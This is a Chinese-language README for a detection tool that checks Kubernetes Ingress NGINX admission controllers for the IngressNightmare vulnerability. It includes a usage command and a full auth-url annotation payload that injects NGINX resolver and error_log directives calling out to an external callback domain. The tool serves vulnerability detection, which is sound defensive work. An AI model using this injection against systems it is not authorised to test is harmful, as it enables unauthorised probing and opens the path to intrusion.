IngressNightmare 检测工具

概述

本工具为受 Ingress NGINX Controller 影响的 IngressNightmare 漏洞链（CVE-2025-1974）提供非侵入式检测能力。它特别利用 auth-url 注解注入向量（CVE-2025-24514）来验证该关键漏洞的存在，而无需执行任意代码。

技术背景

IngressNightmare 漏洞链允许攻击者通过各种 Ingress 注解字段注入任意的 NGINX 配置指令。当这些恶意的 Ingress 资源被准入控制器处理时，注入的指令会在 NGINX 配置验证阶段（nginx -t）被评估。

本 PoC 特别利用 auth-url 注解漏洞，通过注入 error_log 指令，将 syslog 服务器指向攻击者控制的域名。在配置验证过程中，NGINX 将：

1. 解析注入的配置
2. 通过 DNS 解析指定的域名

此 DNS 解析活动提供了一个可靠的信号，表明目标存在漏洞，而不需要代码执行或服务中断。

使用方法

1. 使用 Burp Collaborator、interactsh 或任何 DNS 监控服务建立 DNS 回调监听器。

2. 执行检测工具：

   root@kitploit:~

   $ python3 detect.py -t https://target-admission-controller:443 -c w00tw00t.lf4v7uehamhtt4hufhstpla09rfi38rx.oastify.com 
   

3. 如果存在漏洞，您将观察到对 DNS 回调域的 DNS 解析尝试：

检测方法

该工具构造一个特制的 AdmissionReview 对象，其中包含一个 Ingress 资源，负载如下：

nginx.ingress.kubernetes.io/auth-url: "http://example.com/#;\n resolver 8.8.8.8;\n error_log syslog:server=unique-id.oastify.com:80 debug;\n #"

该负载：

• 使用注释字符（#）终止 URL
• 注入换行符后接一个 resolver 指令
• 添加指向 DNS 回调域的 syslog 的 error_log 指令
• 注释掉剩余部分以保持语法有效性

当被存在漏洞的准入控制器处理时，这将导致出站 DNS 查询，从而确认漏洞的存在。

局限性

本工具仅检测漏洞的存在，并不尝试利用它进行任意代码执行。

致谢

https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities